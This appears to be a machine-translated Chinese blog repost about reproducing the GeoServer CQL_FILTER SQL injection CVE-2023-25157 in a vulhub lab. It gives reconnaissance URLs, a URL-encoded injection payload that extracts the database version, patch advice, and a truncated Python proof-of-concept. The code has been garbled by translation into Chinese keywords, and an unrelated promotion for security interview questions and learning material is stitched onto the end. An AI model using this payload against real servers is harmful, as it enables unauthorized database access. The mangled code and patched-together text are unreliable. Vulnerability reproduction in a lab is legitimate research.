GeoServer SQL 注入漏洞复现(CVE(sql注入漏洞不会出现在哪个位置)

GeoServer SQL 注入漏洞复现(CVEcd vulhub-master/
cd geoserver/
cd CVE-2023-25157
docker-compose up -d
docker-compose ps1.访问http

CD Valhub Master/

cd 地理服务器/

光盘CVE-2023-25157

docker-compose up -d

docker-compose ps

1.访问http://yourip:8080/geoserver进入首页

2.获取各个函数名称

注入之前,必须先获取地理图层列表信息。这是SQL 注入有效负载中的必需参数。

请访问以下网址获取。

http://192.168.43.161:8080/geoserver/ows?service=WFSversion=1.0.0request=GetCapability

名称标签中的信息是地理图层列表。这里选择vulhub:example作为地理图层列表信息。

3. 获取函数属性

将上一步获取到的typeName的name属性值合并到URL中,形成URL:

http://192.168.43.161:8080/geoserver/ows?service=wfsversion=1.0.0request=GetFeaturetypeName=vulhub:examplemax features=1outputFormat=json

4.构建SQL注入

函数类型(表)名称: vulhub: 示例

要素类型: 的名称属性之一

使用这些已知参数拼接到Payload: 中。

http://192.168.43.161:8080/geoserver/ows?service=wfsversion=1.0.0request=GetFeaturetypeName=vulhub:exampleCQL_FILTER=strStartsWith(名称,%27x%27%27)%20=%20true%20and%201=(SELECT%20C AST %2) 0 (( SELECT %20version())%20AS%20整数))%20%20%27)%20=%20true

成功检索数据库版本号

修复建议

将org.geoserver.community:gs-jdbcconfig 升级到2.21.4 或2.22.2 或更高版本。

禁用PostGIS Datastore编码功能或使用preparedStatements处理SQL语句。

poc

用法:Python CVE-2023-25157.py http://your-ip:8080/geoserver/ows

#!/usr/bin/env python3

# -\\*-coding: utf-8 -\\*-

导入请求

导入系统

将xml.etree.ElementTree 导入为ET

导入json

# 彩色输出代码

绿色=\’\\033[92m\’\”

黄色=\’\\033[93m\’\”

红色=\’\\033[91m\’\”

粗体=\’\\033[1m\’

ENDC=\’\\033[0m\’\”

# 检查脚本是否在不带参数的情况下运行

如果len(sys.argv)==1:

print(f\'{YELLOW}此脚本需要URL 参数。{ENDC}\’)

print(f\'{YELLOW}Usage: python3 {sys.argv[0]} URL{ENDC}\’)

系统退出(1)

# URL 和代理设置

URL=sys.argv[1]

PROXY_ENABLED=假

如果PROXY_ENABLED,则PROXY=\’http://127.0.0.1:8080/\’,否则无

响应=request.get(URL + \’/geoserver/ows?service=WFSversion=1.0.0request=GetCapability\’,

proxy={\’http\’: proxy},validation=False)

如果响应.状态代码==200:

# 解析XML响应,从每个FeatureType中提取名称并将它们保存在列表中

root=ET.fromstring(response.text)

feature_types=root.findall(\’.//{http://www.opengis.net/wfs}FeatureType\’)

名称=[feature_type.findtext(\'{http://www.opengis.net/wfs}名称\’) for feature_type in feature_types]

# 输出函数名

print(f\'{GREEN}可用函数名称:{ENDC}\’)

对于名称名称:

打印(f\’- {名称}\’)

# 发送每个功能名称和CQL\\_FILTER 类型的请求

cql_filters=[

\’strStartsWith\’] # 其他过滤器/函数也可用,例如\’PropertyIsLike\’、\’strEndsWith\’、\’strStartsWith\’、\’FeatureId\’、\’jsonArrayContains\’、\’DWithin\’。

对于名称名称:

对于cql_filters: 中的cql_filter

端点=f\’/geoserver/ows?service=wfsversion=1.0.0request=GetFeaturetypeName={name}maxFeature=1outputFormat=json\’

哪个兄弟不知道你可以提前回答网络安全面试问题?我们整理了160多道网络安全面试题(金9银10),帮助你在网络安全面试包中脱颖而出。一周去做这件事。

工程师王兰一面试题及答案目前只对我哥有用。如果你能正确回答70% 的问题,那么你找到一份稳定的工作就不会有太大困难。

对于工作经验1到3年后想换工作的朋友来说也是一个不错的考虑!

【如何获取完整版在文末! ]

***93 网络安全面试问题***

![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)

![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)

![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)

我就不一一截图了,因为内容太多了。

### 推荐的黑客学习资源

最后给大家分享一套完整的网络安全学习资料,对所有想学习网络安全的人都有用。

对于刚接触网络安全的学生,我们创建了详细的学习和成长路线图。这可以说是最科学、最系统的学习路线。每个人都可以遵循这个大方向。

#### 1从基础零开始

##### 学习路线

对于从未接触过网络安全的同学,我们准备了详细的**学习与成长路线图**。这可以说是最科学、最系统的学习路线。大家按照这个大方向走是没有问题的。

![图片](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)

##### 路线兼容学习视频

同时,还根据成长路线提供了每个部分的支持视频。

![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

#GeoServer SQL注入漏洞复现如上(CVE相关内容来源网络仅供参考,相关信息请以官方公告为准)

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92062.html

(0)
CSDN的头像CSDN
上一篇 2024年6月24日
下一篇 2024年6月24日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注